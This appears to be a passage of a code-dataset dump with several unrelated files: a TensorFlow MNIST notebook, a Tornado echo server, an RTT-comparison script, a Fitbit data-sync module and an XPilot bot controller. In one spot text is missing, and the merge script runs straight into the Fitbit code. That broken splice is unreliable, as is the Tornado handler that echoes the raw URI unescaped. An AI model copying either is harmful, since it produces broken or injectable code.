784.\n# * El dataset se puede pensar como 55000 filas y 784 columnas.\n# * Cada dato del datset es un número real entre 0 y 1.\n# \n# y = softmax(W * x + b)\n\n# In[67]:\n\n\ndim_input = 784\nn_categories = 10\n\n\n# In[68]:\n\n\nx = tf.placeholder(tf.float32, [None, dim_input])\n\n\n# In[69]:\n\n\nW = tf.Variable(tf.zeros([dim_input,n_categories])) \nb = tf.Variable(tf.zeros([n_categories]))\n\n\n# In[70]:\n\n\nsoftmax_args = tf.matmul(x,W) + b\ny_hat = tf.nn.softmax(softmax_args)\n\n\n# #### Entrenando la red neuronal\n# * Loss / Cost <- objetivo minimizar las pérdidas\n\n# In[71]:\n\n\nfrom IPython.display import display, Math, Latex\n\n\n# In[73]:\n\n\ndisplay(Math(r\"H_{y}(\\hat{y}) = -\\sum_{i} y_i log(\\hat{y_i})\"))\n\n\n# In[74]:\n\n\ny_ = tf.placeholder(tf.float32, [None, 10])\n\n\n# In[76]:\n\n\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_hat), reduction_indices=[1]))\n\n\n# In[ ]:\n\n\n#tf.nn.softmax_cross_entropy_with_logits(softmax_args, y_)\n\n\n# In[77]:\n\n\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n\n\n# In[78]:\n\n\nsession = tf.InteractiveSession()\n\n\n# In[79]:\n\n\ntf.global_variables_initializer().run()\n\n\n# In[95]:\n\n\nfor _ in range(10000):\n batch_x, batch_y = mnist.train.next_batch(150)\n session.run(train_step, feed_dict={x:batch_x, y_: batch_y})\n\n\n# #### Evaluando la red neuronal\n# \n# \n\n# In[92]:\n\n\ncorrect_predictions = tf.equal(tf.argmax(y_hat, 1), tf.argmax(y_,1))\n\n\n# In[93]:\n\n\naccuracy = tf.reduce_mean(tf.cast(correct_predictions, tf.float32))\n\n\n# In[96]:\n\n\nprint(session.run(accuracy, feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Scripts_Ipynb2Py/T11 - 3 - Reconocimiento de texto escrito.py","file_name":"T11 - 3 - Reconocimiento de texto escrito.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"300279541","text":"#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\n# Date : 2015-12-29\n# Author: Master Yumi\n# Email : yumi@meishixing.com\n\nimport tornado.httpserver\nimport tornado.ioloop\nimport tornado.web\nimport tornado.options\n\nfrom tornado.options import define, options\ndefine(\"port\", default=8888, help=\"run on the given port\", type=int)\n\nclass IndexHandler(tornado.web.RequestHandler):\n def get(self, redirect_url):\n self.write(self.request.uri)\n\n\nif __name__ == \"__main__\":\n tornado.options.parse_command_line()\n app = tornado.web.Application(\n handlers=[(r\"/(.*)\", IndexHandler)],\n debug=True,\n )\n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"261916767","text":"# Read two CSVs of RTTs, actual and observed, and evaluate the latter\n# Usage: python3 compare-rtts.py path/to/actual.csv path/to/observed.csv 0.1\n# Note: Replace 0.1 with the replay speed. Assume 1 if omitted.\n# Assumption: observed RTTs (calculated by the P4 switch) are integers\n# Generates a \"*.marked.csv\" file, which adds a column at the end for RTT error.\n# Prints results. \"Bogus\" refers to spurious observed RTTs. \"MSE\" is mean sq. error\n\nimport sys, csv, numpy\n\nactual_filename = sys.argv[1]\nobserved_filename = sys.argv[2]\n\nreplay_speed = 1\nif len(sys.argv) > 3:\n replay_speed = float(sys.argv[3])\n\n# Read observed CSV\nobserved_rtts = dict()\nnum_observed_rtts = 0\nwith open(observed_filename) as observed_file:\n csv_reader = csv.reader(observed_file, delimiter=',')\n for row in csv_reader:\n if row[-1] == \"0\" or row[-2] == \"0\":\n continue\n key = \",\".join(row[2:8])\n rtt = int(row[0])\n register_index_of_rtt = int(row[1])\n if key in observed_rtts:\n observed_rtts[key].append((rtt, register_index_of_rtt))\n else:\n observed_rtts[key] = [(rtt, register_index_of_rtt)]\n num_observed_rtts += 1\n\n# Iterate over actual CSV\nmissed_rows = []\nerrors = []\nnum_actual_rtts = 0\nwith open(actual_filename + \".marked.csv\", \"w\") as marked_actual_file:\n with open(actual_filename) as actual_file:\n csv_reader = csv.reader(actual_file, delimiter=',')\n for row in csv_reader:\n key = \",\".join(row[2:8])\n actual_rtt = float(row[0])\n marked_actual_file.write(\",\".join(row) + \",\")\n if key in observed_rtts and len(observed_rtts[key]) > 0:\n best_error = float(\"inf\")\n index_of_rtt_with_best_error = -1\n for index, rtt_and_register_index_of_rtt in enumerate(observed_rtts[key]):\n if abs(rtt_and_register_index_of_rtt[0] - actual_rtt) < abs(best_error):\n best_error = rtt_and_register_index_of_rtt[0] - actual_rtt\n index_of_rtt_with_best_error = index\n del observed_rtts[key][index_of_rtt_with_best_error]\n marked_actual_file.write(str(best_error))\n errors.append(best_error)\n else:\n missed_rows.append(\",\".join(row))\n marked_actual_file.write(\"\\n\")\n num_actual_rtts += 1\n\n# Get all bogus RTTs\nbogus_rows = []\nfor key, rtts_and_register_indices_of_rtt in observed_rtts.items():\n for rtt_and_register_index_of_rtt in rtts_and_register_indices_of_rtt:\n bogus_rows.append(\"%d,%d,%s\" % (\n rtt_and_register_index_of_rtt[0],\n rtt_and_register_index_of_rtt[1], \n key\n ))\n\n# Print statistics: miss rate, bogus rate, observed count, MSE, bogus rows\nprint(\"Miss rate: %f (%d out of %d actual)\" % (\n len(missed_rows) / float(num_actual_rtts),\n len(missed_rows),\n num_actual_rtts\n))\nprint(\"Bogus rate: %f (%d out of %d observed)\" % (\n len(bogus_rows) / float(num_observed_rtts),\n len(bogus_rows),\n num_observed_rtts\n))\nprint(\"MSE: %f\" % (numpy.array(errors) ** 2).mean())\nprint(\"Speed-adjusted MSE: %f\" % ((numpy.array(errors) * replay_speed) ** 2).mean())\nif len(bogus_rows) > 0:\n print(\"Bogus rows:\")\n for bogus_row in bogus_rows:\n print(bogus_row)","sub_path":"src/compare-rtts.py","file_name":"compare-rtts.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"190360409","text":"import sys\nimport time\n# merge 2 lists\nlst1 = [1, 2, 4]\nlst2 = [3, 5, 6]\n# Result = [1,2,3,4,5,6]\nn = len(lst1)\nm = len(lst2)\ni, j, k = 0, 0, 0\ntemp = [0]*(n+m)\nprint(temp)\n\nwhile i < n and j < m:\n print(\"i,j\", i, \":\", j)\n if lst1[i] < lst2[j]:\n temp[k] = lst1[i]\n k += 1\n i += 1\n else:\n temp[k] = lst2[j]\n k += 1\n j += 1\n\nwhile(i date.today() and last_updated.date() < date.today():\n last_updated = datetime.now() + timedelta(1)\n last_updated = datetime(year=2018,month=9,day=1)\n # heart_result = auth2_client.time_series('activities/heart', base_date=datetime.date.today().strftime('%Y-%m-%d'), end_date=last_updated.strftime('%Y-%m-%d'))\n heart_result = auth2_client.time_series('activities/heart', base_date=date.today().strftime('%Y-%m-%d'), end_date=last_updated)\n for activities_heart in heart_result['activities-heart']:\n for heartRateZones in activities_heart['value']['heartRateZones']:\n if heartRateZones.get('minutes') is not None and heartRateZones.get('minutes')!= 0:\n heart_check = Heart_rate.query.filter_by(client_ID=client.id, date=activities_heart['dateTime'],heart_rate_zone=heartRateZones['name']).first()\n if heart_check is None:\n heart_log = Heart_rate(client_ID=client.id,\n date=activities_heart['dateTime'],\n heart_rate_zone=heartRateZones['name'],\n minute=heartRateZones['minutes'],\n calories_out=heartRateZones['caloriesOut'],\n min_rate=heartRateZones['min'],\n max_rate=heartRateZones['max']\n )\n db.session.add(heart_log)\n elif activities_heart['dateTime'] == date.today().strftime('%Y-%m-%d'):\n #Update the heart rate\n heart_check.heart_rate_zone=heartRateZones['name']\n heart_check.minute=heartRateZones['minutes']\n heart_check.calories_out=heartRateZones['caloriesOut']\n heart_check.min_rate=heartRateZones['min']\n heart_check.max_rate=heartRateZones['max']\n\n if activities_heart.get('value').get('restingHeartRate') is not None:\n heart_check = Resting_heart_rate.query.filter_by(client_ID=client.id, date=activities_heart['dateTime']).first()\n if heart_check is None:\n resting_log = Resting_heart_rate(client_ID=client.id,\n date=activities_heart['dateTime'],\n value=activities_heart.get('value').get('restingHeartRate'))\n db.session.add(resting_log)\n db.session.commit()\n print(\"====HEART RESULT SUCCESS====\")\n\n today = datetime.now()\n delta = today - last_updated\n temp_date = last_updated\n for i in range(delta.days):\n check = Activity.query.filter_by(client_ID=client.id, date=temp_date).first()\n if check is not None:\n temp_date += timedelta(days=1)\n continue\n activity = auth2_client.activities(date=temp_date)\n goal = activity.get('goals')\n summary = activity.get('summary')\n activity = Activity(client_ID=client.id,\n date=temp_date,\n steps=summary.get('steps'),\n sedentary_minutes=summary.get('sedentaryMinutes'),\n lightly_active_minutes=summary.get('lightlyActiveMinutes'),\n fairly_active_minutes=summary.get('fairlyActiveMinutes'),\n very_active_minutes=summary.get('veryActiveMinutes'),\n calories_out=summary.get('caloriesOut'),\n total_distance=summary.get('distances')[0].get('distance'),\n goal_active=goal.get('activeMinutes'),\n goal_calories_out=goal.get('caloriesOut'),\n goal_distance=goal.get('distance'),\n goal_steps=goal.get('steps')\n )\n db.session.add(activity)\n db.session.commit()\n\n inputted_activity = Activity.query.filter_by(client_ID=client.id, date=temp_date).first()\n for activity in summary.get('distances'):\n if(activity.get('activity') != 'total'):\n distance = Distance(activity_ID=inputted_activity.activity_ID,\n date=temp_date,\n activity=activity.get('activity'),\n distance=activity.get('distance')\n )\n db.session.add(distance)\n db.session.commit()\n temp_date += timedelta(days=1)\n print(\"====ACTIVITY RESULT SUCCESS====\")\n\n # ====BMI+WEIGHT+FAT====\n past = datetime.now() - timedelta(days=120)\n while (past <= (datetime.now() + relativedelta(months=+1))):\n activity = auth2_client.get_bodyweight(base_date=past, period='1m')\n if activity.get('fat') != []:\n for fat_on_day in activity.get('weight'):\n check = Bmi_fat_and_weight.query.filter_by(client_ID=client.id,\n date=fat_on_day.get('date')).first()\n if check is None:\n weight_profile = Bmi_fat_and_weight(client_ID= client.id,\n date = fat_on_day.get('date'),\n time = fat_on_day.get('time'),\n source = fat_on_day.get('source'),\n weight = fat_on_day.get('weight'),\n bmi = fat_on_day.get('bmi'),\n fat = fat_on_day.get('fat')\n )\n db.session.add(weight_profile)\n past = past + relativedelta(months=+1)\n db.session.commit()\n print(\"====FAT WEIGHT AND BMI RESULT SUCCESS====\")\n auth2_client.API_VERSION = 1.2\n if((datetime.now() + timedelta(1) - last_updated).days >= 100):\n startTemp = last_updated\n endTemp = last_updated+ timedelta(99)\n else:\n startTemp = last_updated\n endTemp = datetime.now() + timedelta(1)\n # The reason timedelta +1 is included is because the api will needs at least 1 day difference between base and ends\n while ((datetime.now() + timedelta(1) - startTemp).days > 0):\n # sleep_result = auth2_client.time_series('sleep', base_date=datetime.datetime.strftime(datetime.datetime.now() + datetime.timedelta(1), '%Y-%m-%d'), end_date=last_updated.strftime('%Y-%m-%d'))\n sleep_result = auth2_client.time_series('sleep', base_date=startTemp.strftime('%Y-%m-%d'), end_date=endTemp.strftime('%Y-%m-%d'))\n for sleep_activities in reversed(sleep_result['sleep']):\n sleep_check = Daily_sleep.query.filter_by(client_ID=client.id, date=sleep_activities['dateOfSleep']).first()\n if sleep_check is None and sleep_activities is not None:\n levels = sleep_activities['levels']\n #This continue is added because when a person's hasn't sleep yet on a day, Fitbit will still calculate but won't generate summary.\n #Example: {'dateOfSleep': '2019-01-08', 'duration': 4020000, 'efficiency': 93, 'endTime': '2019-01-08T23:43:00.000', 'infoCode': 2, 'levels': {'data': [{'dateTime': '2019-01-08T22:36:00.000', 'level': 'awake', 'seconds': 240}, {'dateTime': '2019-01-08T22:40:00.000', 'level': 'restless', 'seconds': 60}, {'dateTime': '2019-01-08T22:41:00.000', 'level': 'asleep', 'seconds': 3720}], 'summary': {'asleep': {'count': 0, 'minutes': 62}, 'awake': {'count': 1, 'minutes': 4}, 'restless': {'count': 1, 'minutes': 1}}}, 'logId': 20755608834, 'minutesAfterWakeup': 0, 'minutesAsleep': 62, 'minutesAwake': 5, 'minutesToFallAsleep': 0, 'startTime': '2019-01-08T22:36:00.000', 'timeInBed': 67, 'type': 'classic'}\n summary = levels['summary']\n if summary.get('deep') is not None:\n daily_sleep = Daily_sleep(client_ID=client.id,\n date=sleep_activities['dateOfSleep'],\n deep_duration=summary.get('deep').get('minutes') if summary.get('deep') is not None else 0,\n light_duration=summary.get('light').get('minutes') if summary.get('light') is not None else 0,\n REM_duration=summary.get('rem').get('minutes') if summary.get('rem') is not None else 0,\n wake_duration=summary.get('wake').get('minutes') if summary.get('wake') is not None else 0,\n deep_count=summary.get('deep').get('count') if summary.get('deep') is not None else 0,\n light_count=summary.get('light').get('count') if summary.get('light') is not None else 0,\n REM_count=summary.get('rem').get('count') if summary.get('rem') is not None else 0,\n wake_count=summary.get('wake').get('count') if summary.get('wake') is not None else 0,\n start_time=sleep_activities['startTime'],\n total_time_in_bed = sleep_activities['timeInBed']\n )\n db.session.add(daily_sleep)\n db.session.commit()\n\n sleep_check = Daily_sleep.query.filter_by(client_ID=client.id, date=sleep_activities['dateOfSleep']).first()\n data = levels['data']\n for sleep_type in data:\n sleep_log = Sleep_log(sleep_ID=sleep_check.sleep_ID,\n date_time=sleep_type['dateTime'],\n level=str(sleep_type['level']),\n seconds=sleep_type['seconds']\n )\n db.session.add(sleep_log)\n if ((endTemp - startTemp).days <= 100):\n startTemp = endTemp\n endTemp = endTemp + timedelta(90)\n print(\"====SLEEP RESULT SUCCESS====\")\n auth2_client.API_VERSION = 1\n #Note: There's no API for sleep log so I have to make the request by my own.\n goal_result = auth2_client.make_request(url='https://api.fitbit.com/1/user/-/sleep/goal.json', method='GET')\n sleep_goal_check = Sleep_goals.query.filter_by(client_ID=client.id).first()\n if sleep_goal_check is None:\n sleep_goals_log = Sleep_goals(client_ID=client.id,\n bed_time=goal_result.get('goal').get('bedtime'),\n min_duration=goal_result.get('goal').get('minDuration'),\n wakeup_time=goal_result.get('goal').get('wakeupTime'),\n updated_on=goal_result.get('goal').get('updatedOn'))\n db.session.add(sleep_goals_log)\n\n client.last_updated = date.today().strftime('%Y-%m-%d')\n db.session.commit()\n print(\"===END OF UPDATING DATA===\")\n\nfrom app.models import Client\nfrom flask_login import current_user\nfrom app import app, db\nfrom datetime import datetime, timedelta, date, time\nfrom sqlalchemy import desc\ndef generateGraphForUserProfile(client):\n if client is None:\n client = Client.query.filter_by(username=current_user.username).first()\n if client.access_token is None:\n return {}, {}, {}\n sixMonths = (datetime.today() - timedelta(days=168)).strftime(\"%Y-%m-%d\")\n activityData = Activity.query.filter_by(client_ID=client.id).filter(Activity.date >= sixMonths).order_by(\n Activity.date)\n if activityData.first() is None:\n accomplishedJSON = {}\n recentHealthJSON = {}\n graphJSONObject = {}\n accomplishedJSON['steps'] = 0\n accomplishedJSON['calories'] = 0\n accomplishedJSON['distance'] = 0\n accomplishedJSON['active minutes'] = 0\n accomplishedJSON['sleep'] = 0\n recentHealthJSON['bmi'] = 0\n recentHealthJSON['fat'] = 0\n recentHealthJSON['weight'] = 0\n recentHealthJSON['heartRate'] = 0\n recentHealthJSON['outcomePricing'] = 'Cannot evaluate'\n return accomplishedJSON, graphJSONObject, recentHealthJSON\n sleep = Daily_sleep.query.filter_by(client_ID=client.id).filter(Daily_sleep.date >= sixMonths).order_by(\n Daily_sleep.date)\n sleep_goal = Sleep_goals.query.filter_by(client_ID=client.id).first()\n\n stepsAccomplished = 0\n caloriesAccomplished = 0\n activeAccomplished = 0\n distanceAccomplished = 0\n daysCount = 0\n sleepAccomplished = 0\n sleepCount = 0\n stepsPerMonth = []\n caloriesPerMonth = []\n distancePerMonth = []\n activePerMonth = []\n sleepPerMonth = []\n\n monthCount = 0\n dayPerMonthCount = 0\n graphJSONObject = []\n currentMonth = activityData[0].date.strftime(\"%B\")\n for row in activityData:\n stepsAccomplished += 1 if row.steps >= row.goal_steps else 0\n caloriesAccomplished += 1 if row.calories_out >= row.goal_calories_out else 0\n distanceAccomplished += 1 if row.total_distance >= row.goal_distance else 0\n activeAccomplished += 1 if (row.fairly_active_minutes + row.very_active_minutes) >= row.goal_active else 0\n daysCount += 1\n dayPerMonthCount += 1\n if currentMonth != row.date.strftime(\"%B\"):\n previousSteps = stepsPerMonth[monthCount - 1] if len(stepsPerMonth) > 0 else 0\n previousCalories = caloriesPerMonth[monthCount - 1] if len(caloriesPerMonth) > 0 else 0\n previousDistance = distancePerMonth[monthCount - 1] if len(distancePerMonth) > 0 else 0\n previousActive = activePerMonth[monthCount - 1] if len(activePerMonth) > 0 else 0\n\n graphJSONObject.append({\"steps\": round((stepsAccomplished - previousSteps) / dayPerMonthCount * 100, 2),\n \"calories\": round((caloriesAccomplished - previousCalories) / dayPerMonthCount * 100,\n 2),\n \"distance\": round((distanceAccomplished - previousDistance) / dayPerMonthCount * 100,\n 2),\n \"active minutes\": round(\n (activeAccomplished - previousActive) / dayPerMonthCount * 100, 2),\n \"month\": currentMonth})\n\n stepsPerMonth.append(stepsAccomplished - previousSteps)\n caloriesPerMonth.append(caloriesAccomplished - previousCalories)\n distancePerMonth.append(distanceAccomplished - previousDistance)\n activePerMonth.append(activeAccomplished - previousActive)\n monthCount += 1\n dayPerMonthCount = 0\n currentMonth = row.date.strftime(\"%B\")\n monthCount = 0\n currentMonth = activityData[0].date.strftime(\"%B\")\n for row in sleep:\n sleepAccomplished += 1 if (\n row.deep_duration + row.light_duration + row.REM_duration) >= sleep_goal.min_duration else 0\n sleepCount += 1\n dayPerMonthCount += 1\n if currentMonth != row.date.strftime(\"%B\"):\n previousCount = sleepPerMonth[monthCount - 1] if len(sleepPerMonth) > 0 else 0\n sleepPerMonth.append(sleepAccomplished - previousCount)\n graphJSONObject[monthCount]['sleep'] = round((sleepAccomplished - previousCount) / dayPerMonthCount * 100, 2)\n monthCount += 1\n dayPerMonthCount = 0\n currentMonth = row.date.strftime(\"%B\")\n\n recentHealthJSON = {}\n recentWeight = Bmi_fat_and_weight.query.filter_by(client_ID=client.id).order_by(\n desc(Bmi_fat_and_weight.date)).first()\n\n recentHealthJSON['bmi'] = recentWeight.bmi\n recentHealthJSON['fat'] = recentWeight.fat\n recentHealthJSON['weight'] = recentWeight.weight\n\n recentHeart = Resting_heart_rate.query.filter_by(client_ID=client.id).order_by(\n desc(Resting_heart_rate.date)).first()\n\n recentHealthJSON['heartRate'] = recentHeart.value\n\n #Outcome pricing is prototype\n averagePercent = ((stepsAccomplished + caloriesAccomplished + distanceAccomplished + activeAccomplished) \\\n / (daysCount * 4) * 100 + sleepAccomplished / sleepCount * 100) / 5\n\n if (averagePercent < 50):\n outcomePricing = 'Increase'\n elif (averagePercent > 50 and averagePercent < 80):\n outcomePricing = 'No Change'\n else:\n outcomePricing = 'Decrease'\n\n\n recentHealthJSON['outcomePricing'] = outcomePricing\n\n accomplishedJSON = {}\n accomplishedJSON['steps'] = round(stepsAccomplished / daysCount * 100, 2)\n accomplishedJSON['calories'] = round(caloriesAccomplished / daysCount * 100, 2)\n accomplishedJSON['distance'] = round(distanceAccomplished / daysCount * 100, 2)\n accomplishedJSON['active minutes'] = round(activeAccomplished / daysCount * 100, 2)\n accomplishedJSON['sleep'] = round(sleepAccomplished / sleepCount * 100, 2)\n\n return accomplishedJSON, graphJSONObject, recentHealthJSON\n","sub_path":"app/gather_data.py","file_name":"gather_data.py","file_ext":"py","file_size_in_byte":18049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"111622636","text":"from pybrain.tools.customxml.networkreader import NetworkReader\nfrom pybrain.structure.modules import LSTMLayer\nfrom pybrain.structure.modules import SoftmaxLayer\nfrom pybrain.structure.modules import SigmoidLayer\nimport libpyAI as ai\nimport math\n\n\nimport libpyAI as ai\nclass BotData:\n def __init__(self, filename):\n self.fileHandle = open(filename, 'w')\n \n self.turnDR = DataRecorder()\n self.thrustDR = DataRecorder()\n self.shootDR = DataRecorder()\n \n #TurnThrustShoot - that is the order\n self.inputDR = DataRecorder()\n self.outputDR = DataRecorder()\n self.lines = []\n self.turnedLeft, self.turnedRight, self.thrusted, self.shot = 0, 0, 0, 0\n def writeDeath(self):\n self.fileHandle.write(\"DEAD\")\n def length(self):\n return len(self.lines)\n def addInput(self, data):\n self.turnDR.add(data)\n self.thrustDR.add(data)\n self.shootDR.add(data)\n def addTurnInput(self, data):\n self.turnDR.add(data)\n def addThrustInput(self, data):\n self.thrustDR.add(data)\n def addShootInput(self, data):\n self.shootDR.add(data)\n def updateInputs(self):\n \n #The code in config is inserted into the updateInputs function so you can pull any data you want using ai.(some xpilot-ai function) and adding it with self.addInput(\"Some Float\")\n #You can technically also add outputs with self.addOutput if you want your neural network to predict or control something beyond normal but this might not work nicely with the autogenerated controller\n #The trainer checks the size of both the input and output datasets and will build a network to accomodate these sizes automatically\n\n #Until the next comment is code for pulling relevant data from the game\n heading = int(ai.selfHeadingDeg())\n tracking = int(ai.selfTrackingDeg())\n \n backWall = ai.wallFeeler(500, heading - 180)\n backLeftWall = ai.wallFeeler(500, heading - 190)\n backRightWall = ai.wallFeeler(500, heading - 170)\n \n frontWall = ai.wallFeeler(500,heading)\n flWall = ai.wallFeeler(500, heading + 10)\n frWall = ai.wallFeeler(500, heading - 10)\n \n leftWall = ai.wallFeeler(500,heading+90)\n llWall = ai.wallFeeler(500, heading + 100)\n rlWall = ai.wallFeeler(500, heading + 80)\n \n rightWall = ai.wallFeeler(500,heading-90)\n lrWall = ai.wallFeeler(500, heading - 80)\n rrWall = ai.wallFeeler(500, heading - 100)\n \n \n\n calcDir = 0\n targetX, targetY = ai.screenEnemyX(0), ai.screenEnemyY(0)\n if targetX- ai.selfX() != 0:\n calcDir = int(math.degrees(math.atan2((targetY - ai.selfY()), (targetX- ai.selfX()))) + 360)%360\n \n calcDiff = ai.angleDiff(heading, calcDir)\n trackDiff = ai.angleDiff(heading, tracking)\n\n\n\n speed = ai.selfSpeed()\n fFan = min(frontWall, flWall, frWall)\n lFan = min(leftWall, llWall, rlWall)\n rFan = min(rightWall, rrWall, lrWall)\n bFan = min(backWall, backLeftWall, backRightWall)\n trackWall = ai.wallFeeler(500, tracking)\n \n #Everything below here is just selecting inputs for training - play around by commenting and uncommenting different inputs, or try adding your own!\n self.addTurnInput(1/(frontWall+1))\n self.addTurnInput(1/(leftWall+1))\n self.addTurnInput(1/(rightWall+1))\n self.addTurnInput(1/(backWall+1))\n self.addTurnInput(calcDiff/180)\n self.addTurnInput(trackDiff/180)\n self.addTurnInput(speed/(trackWall+1))\n #self.addTurnInput(heading/360)\n #self.addTurnInput(calcDir/360)\n \n #self.addTurnInput(1/(backLeftWall+1))\n #self.addTurnInput(1/(backRightWall+1))\n \n\n #self.addInput(fFan)\n #self.addInput(rFan)\n #self.addInput(lFan)\n #self.addInput(bFan)\n #self.addInput(tracking)\n\n self.addShootInput(calcDiff/180)\n \n self.addThrustInput(trackDiff/180)\n self.addThrustInput(speed)\n self.addThrustInput(1/(trackWall+1))\n self.addThrustInput(1/(backWall+1))\n \n\n\n \n def addOutput(self, data):\n self.outputDR.add(data)\n def updateOutputs(self):\n self.addOutput(self.turnedLeft)\n self.addOutput(self.turnedRight)\n self.addOutput(self.thrusted)\n self.addOutput(self.shot)\n self.shot = 0\n \n def reset(self):\n self.inputDR.reset()\n self.outputDR.reset()\n \n def resetInput(self):\n self.inputDR.reset()\n def savePair(self):\n self.inputDR.add(self.turnDR.getString())\n self.inputDR.add(self.thrustDR.getString())\n self.inputDR.add(self.shootDR.getString())\n \n self.lines.append(self.inputDR.getString())\n self.lines.append(self.outputDR.getString())\n \n self.turnDR.reset()\n self.thrustDR.reset()\n self.shootDR.reset()\n self.inputDR.reset()\n self.outputDR.reset()\n self.outputDR.reset()\n def deleteData(self, pairs):\n self.lines = self.lines[0:-2*pairs]\n def writeData(self):\n for line in self.lines:\n self.fileHandle.write(line + \"\\n\")\n def tturnRight(self, num):\n if num == 1:\n self.turnedRight = 1\n ai.turnRight(1)\n else :\n ai.turnRight(0)\n self.turnedRight = 0\n def tturnRightDummy(self, num):\n if num == 1:\n self.turnedRight = 1\n #ai.turnRight(1)\n else :\n #ai.turnRight(0)\n self.turnedRight = 0\n def tturnLeft(self, num):\n if num == 1:\n self.turnedLeft = 1\n ai.turnLeft(1)\n else:\n ai.turnLeft(0)\n self.turnedLeft = 0\n def tturnLeftDummy(self, num):\n if num == 1:\n self.turnedLeft = 1\n #ai.turnLeft(1)\n else:\n #ai.turnLeft(0)\n self.turnedLeft = 0\n def tthrust(self, num):\n global thrusted\n if num == 1:\n ai.thrust(1)\n self.thrusted = 1\n else:\n ai.thrust(0)\n self.thrusted = 0\n def tthrustDummy(self, num):\n global thrusted\n if num == 1:\n #ai.thrust(1)\n self.thrusted = 1\n else:\n #ai.thrust(0)\n self.thrusted = 0\n def tshoot(self):\n ai.fireShot()\n self.shot = 1\n def tshootDummy(self):\n #ai.fireShot()\n self.shot = 1\nclass DataRecorder:\n def __init__(self):\n self.baseString = \"[\"\n def reset(self):\n self.baseString = \"[\"\n def add(self, el):\n self.baseString = self.baseString + str(el) + \",\"\n def getString(self):\n return self.baseString[0:len(self.baseString)-1] + \"]\"\n\nDataMinerBD = BotData(\"data.txt\")\n\nclass controller:\n \n def __init__(self):\n self.steeringNet = NetworkReader.readFrom('LstmSteeringNetwork.xml')\n self.thrustingNet = NetworkReader.readFrom('LstmThrustingNetwork.xml')\n self.shootingNet = NetworkReader.readFrom('LstmShootingNetwork.xml')\n self.steerInputs = []\n self.thrustInputs = []\n self.shootInputs = []\n \n \n def addInput(self, input):\n self.steerInputs.append(input)\n self.thrustInputs.append(input)\n self.shootInputs.append(input)\n def addTurnInput(self, data):\n self.steerInputs.append(data)\n def addThrustInput(self, data):\n self.thrustInputs.append(data)\n def addShootInput(self, data):\n self.shootInputs.append(data)\n def resetInputs(self):\n self.steerInputs = []\n self.thrustInputs = []\n self.shootInputs = []\n def printInputs(self):\n print(self.steerInputs)\n print(self.thrustInputs)\n print(self.shootInputs)\n def dummyCode(self):\n#James Conley - January 2018\n import libpyAI as ai\n import math\n \n \n \n \n global maxSpeed, shotAngle, wallClose\n maxSpeed = 5\n shotAngle = 9\n wallClose = 15\n \n \n \n \n \n \n previousScore = 0\n def dummyLoop():\n global maxSpeed, shotAngle, wallClose, dead, previousScore\n global turnedLeft, turnedRight, thrusted, shot\n \n \n #Release keys\n DataMinerBD.tthrustDummy(0)\n DataMinerBD.tturnLeftDummy(0)\n DataMinerBD.tturnRightDummy(0)\n ai.setTurnSpeed(45)\n #Set variables\"\"\"\n heading = int(ai.selfHeadingDeg())\n tracking = int(ai.selfTrackingDeg())\n \n trackWall = ai.wallFeeler(500, tracking)\n trackLWall = ai.wallFeeler(500, tracking+3)\n trackRWall = ai.wallFeeler(500, tracking - 3)\n \n frontWall = ai.wallFeeler(500,heading)\n flWall = ai.wallFeeler(500, heading + 10)\n frWall = ai.wallFeeler(500, heading - 10)\n \n leftWall = ai.wallFeeler(500,heading+90)\n llWall = ai.wallFeeler(500, heading + 100)\n rlWall = ai.wallFeeler(500, heading + 80)\n \n rightWall = ai.wallFeeler(500,heading-90)\n lrWall = ai.wallFeeler(500, heading - 80)\n rrWall = ai.wallFeeler(500, heading - 100)\n \n trackWall = ai.wallFeeler(500,tracking)\n backWall = ai.wallFeeler(500, heading - 180)\n backLeftWall = ai.wallFeeler(500, heading - 190)\n backRightWall = ai.wallFeeler(500, heading - 170)\n speed = ai.selfSpeed()\n \n \n \n closest = min(frontWall, leftWall, rightWall, backWall, flWall, frWall)\n def closestWall(x): #Find the closest Wall\n return {\n frontWall : 1, \n leftWall : 2, \n rightWall : 3, \n backWall : 4, \n flWall : 5, \n frWall : 6, \n }[x]\n wallNum = closestWall(closest)\n \n #Code for finding the angle to the closest ship\n targetX, targetY = ai.screenEnemyX(0), ai.screenEnemyY(0)\n \n \n #baseString = \"[\"+str(flWall/500)+\",\"+str(frontWall/500)+\",\"+str(frWall/500) + \",\" + str(backLeftWall/500) + \",\" + str(backWall/500) + \",\" + str(backRightWall/500) + \",\"+str(leftWall/500)+\",\"+str(rightWall/500)+\",\"+str(trackLWall/500) + \",\" + str(trackWall/500) + \",\"+str(trackRWall/500) + \",\" + str(speed/10)\n \n calcDir = -1\n if targetX- ai.selfX() != 0:\n calcDir = (math.degrees(math.atan2((targetY - ai.selfY()), (targetX- ai.selfX()))) + 360)%360\n crashWall = min(trackWall, trackLWall, trackRWall) #The wall we are likely to crash into if we continue on our current course\n #Rules for turning\n if crashWall > wallClose*speed and closest > 25 and targetX != -1: #If we are far enough away from a predicted crash and no closer than 25 pixels to a wall we can try and aim and kill them\n diff = (calcDir - heading)\n #if ai.shotAlert(0) > -1 and ai.shotAlert(0) < 35: #If we are about to get shot\n # tturnRight(1) #Screw aiming and turn right and thrust\n # tthrust(1) #This is arguably a horrible strategy because our sideways profile is much larger, but it's required for the grade\n if diff >= 0:\n if diff >= 180:\n DataMinerBD.tturnRightDummy(1) #If the target is to our right- turn right\n \n else : \n DataMinerBD.tturnLeftDummy(1) #If the target is to our left - turn left\n \n else :\n if diff > -180:\n DataMinerBD.tturnRightDummy(1) #If the target is to our right - turn right\n \n else :\n DataMinerBD.tturnLeftDummy(1) #If the target is to our left - turn left\n \n else : #Rules for avoiding 